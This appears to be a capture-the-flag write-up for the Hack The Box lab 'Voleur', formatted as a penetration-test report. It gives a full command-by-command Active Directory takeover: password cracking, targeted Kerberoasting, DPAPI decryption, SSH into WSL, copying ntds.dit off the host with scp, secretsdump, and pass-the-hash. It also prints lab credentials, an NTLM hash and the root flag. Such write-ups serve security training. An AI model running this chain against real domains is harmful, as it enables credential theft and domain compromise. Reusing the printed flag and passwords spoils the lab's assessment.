

Offensive Security Assessment – Project Voleur (Hybrid Environment / DPAPI / WSL)

Parameter	Detail
Project ID	SEC-RPT-AD-VOLEUR-2025
Classification	TLP:CLEAR / Public
Client / Environment	VOLEUR.HTB Active Directory Forest
Asset(s) in Scope	dc.voleur.htb (10.129.232.130)
Assessment Type	Internal Penetration Test / Hybrid Architecture Audit (Windows / WSL)
Status	Critical Compromise Validated / Full NTDS.dit Exfiltration

2. Executive Summary

The technical assessment conducted on domain controller dc.voleur.htb demonstrated severe exposure originating from improper deployment of interoperability technologies (Windows Subsystem for Linux - WSL) on a Tier-0 infrastructure asset, combined with unencrypted backup exposure.

Through credentials discovered in an office spreadsheet protected with a weak password, a TargetedKerberoasting attack was executed against svc_winrm. From this position, decommissioned user accounts were restored in Active Directory, DPAPI-protected stores were decrypted, and the WSL environment exposed on TCP port 2222 was compromised. From the Linux subsystem, direct access to the underlying NTFS file system (/mnt/c) was achieved, enabling exfiltration of the ntlds.dit database and system hives, achieving comprehensive compromise of all forest identities.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
Exposure of NTDS.dit in Insecure Backup Paths	Critical	9.8	CWE-552 / OWASP A01:2021	T1003.003 - OS Credential Dumping: NTDS

Insecure Storage and Retrieval of DPAPI Secrets	High	7.5	CWE-522 / OWASP A02:2021	T1555 - Credentials from Password Stores
Abuse of SPN Write Permissions (TargetedKerberoast)	High	7.5	CWE-732 / OWASP A01:2021	T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
Insecure Deployment of WSL Subsystem on Tier-0	High	7.2	CWE-250 / OWASP A05:2021	T1202 - Indirect Command Execution

4. Technical Details and Proof of Concept (PoC)

4.1. Office Document Decryption and TargetedKerberoast

Using the ryan.naylor account, the IT share was explored, extracting the protected document Access_Review.xlsx. The encryption hash was extracted via office2john and cracked with john:

```
office2john Access_Review.xlsx > hash_excel.txt
john hash_excel.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Clave descifrada: football1
```

The document exposed credentials for the account svc_ldap:M1XyC9pW7qT5Vn. Relational permission analysis in BloodHound established that svc_ldap possessed WriteSPN rights over the svc_winrm service account. A Kerberos TGT ticket was requested for svc_ldap, and the TargetedKerberoasting attack was launched:

```
impacket-getTGT 'VOLEUR.HTB/svc_ldap':'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130
export KRB5CCNAME=svc_ldap.ccache
python3 targetedKerberoast.py -k --dc-host dc.voleur.htb -d VOLEUR.HTB >
kerberoast.hashes
```

The extracted TGS ticket was cracked, recovering the plaintext password for svc_winrm:

```
john kerberoast.hashes --wordlist=/usr/share/wordlists/rockyou.txt
# Credencial obtenida: AFireInsidedeOzarctica980219afi
```

- **Technical Impact:** Compromise of the service administration account and remote logon access to the operating system.
- **Remediation & Hardening:** Assign complex, non-computable passwords (exceeding 25 characters) to accounts with registered SPNs and audit WriteSPN assignments granted to standard accounts.

4.2. AD Recycle Bin Recovery, DPAPI Decryption, and SSH Access to WSL

Using bloodyAD, the svc_ldap account restored the decommissioned user todd.wolfe from the Recycle Bin:

```
python3 bloodyAD.py --host dc.voleur.htb -d voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k set restore 'todd.wolfe'
```

Within the archived profile of this user inside the IT share, DPAPI cryptographic blobs and master key were retrieved. Utilizing the user's known password (NightT1meP1dg3on14) and their SID, the store was decrypted:

```
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -password 'NightT1meP1dg3on14' -sid S-1-5-21-3927696377-1337352550-2781715495-1110
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key <DecryptedMasterKey>
# Credencial revelada: jeremy.combs : qT3V9pLXyN7W4m
```

Validating this access revealed an SSH private key (id_rsa) assigned to svc_backup. The domain controller maintained TCP port 2222 exposed, corresponding to the Windows Subsystem for Linux (WSL, Ubuntu 20.04):

```
chmod 600 id_rsa
ssh -i id_rsa -p 2222 svc_backup@dc.voleur.htb
```

- **Technical Impact:** Interactive console access to a Linux subsystem residing on the Domain Controller.
- **Remediation & Hardening:** Fully clean up and revoke decommissioned user profiles and identities in Active Directory, and prohibit storing passphrase-less SSH private keys in shared directories.

4.3. Exfiltration of NTDS.dit via NTFS Mount Point and Complete Compromise

From the WSL session, it was identified that the Windows host file system was mounted under /mnt/c. In the unprotected backups directory, live copies of the Active Directory database and system registry hives were located:

```
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line  
Support/Backups/Active Directory/ntds.dit" ./ntds.dit  
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line  
Support/Backups/registry/SYSTEM" ./SYSTEM  
scp -i id_rsa -P 2222 "svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line  
Support/Backups/registry/SECURITY" ./SECURITY
```

Offline hash extraction was performed using secretsdump.py:

```
secretsdump.py LOCAL -system SYSTEM -security SECURITY -ntds ntds.dit  
#  
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160  
b259ad2:::
```

Validation and access as domain superuser:

```
getTGT.py voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2  
-dc-ip 10.129.232.130  
export KRB5CCNAME=Administrator.ccache  
evil-winrm -i dc.voleur.htb -u 'administrator' -r voleur.htb  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt  
1919fcff97234f1aa76cae9457f315e8
```

- **Technical Impact:** Total extraction of the forest credential database and definitive compromise of all corporate accounts.
- **Remediation & Hardening:**
 1. Uninstall nested virtualization environments or subsystems (WSL) on Domain Controller servers.
 2. Enforce at-rest encryption for Active Directory backups and restrict access to shared drives.